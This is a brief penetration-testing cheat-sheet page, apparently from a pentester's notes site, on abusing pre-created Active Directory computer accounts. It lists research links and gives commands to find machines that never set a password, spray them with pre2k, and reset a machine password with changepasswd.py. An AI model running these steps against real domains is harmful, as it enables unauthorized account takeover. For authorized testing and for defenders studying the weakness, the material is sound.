> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/pre-created-computers-abuse.md).

# Pre-created Computers Abuse

## ACL Abuse on Pre-Windows 2000 Computers

* <https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/>
* <https://www.optiv.com/insights/source-zero/blog/diving-deeper-pre-created-computer-accounts>
* <https://github.com/garrettfoster13/pre2k>
* <https://github.com/eversinc33/Invoke-Pre2kSpray>

Search for machines that never updated their passwords:

```
$ cat 19700101000000_computers.json | jq '.data[].Properties | select(.enabled == true and .pwdlastset == 0) | .name' -r > pre2k.txt
```

Initiate a pitchfork spray against them:

```
$ pre2k unauth -d megacorp.local -dc-ip 192.168.1.11 -inputfile pre2k.txt -sleep 10 -jitter 30 -threads 1
```

Change password to authenticate via NTLM:

```
$ changepasswd.py megacorp.local/'PC01$:pc01'@192.168.1.11 -newpass 'Passw0rd!' -protocol kpasswd -dc-ip 192.168.1.11
```

## ACL Abuse on Pre-created Computers

* <https://dirkjanm.io/abusing-forgotten-permissions-on-precreated-computer-objects-in-active-directory/>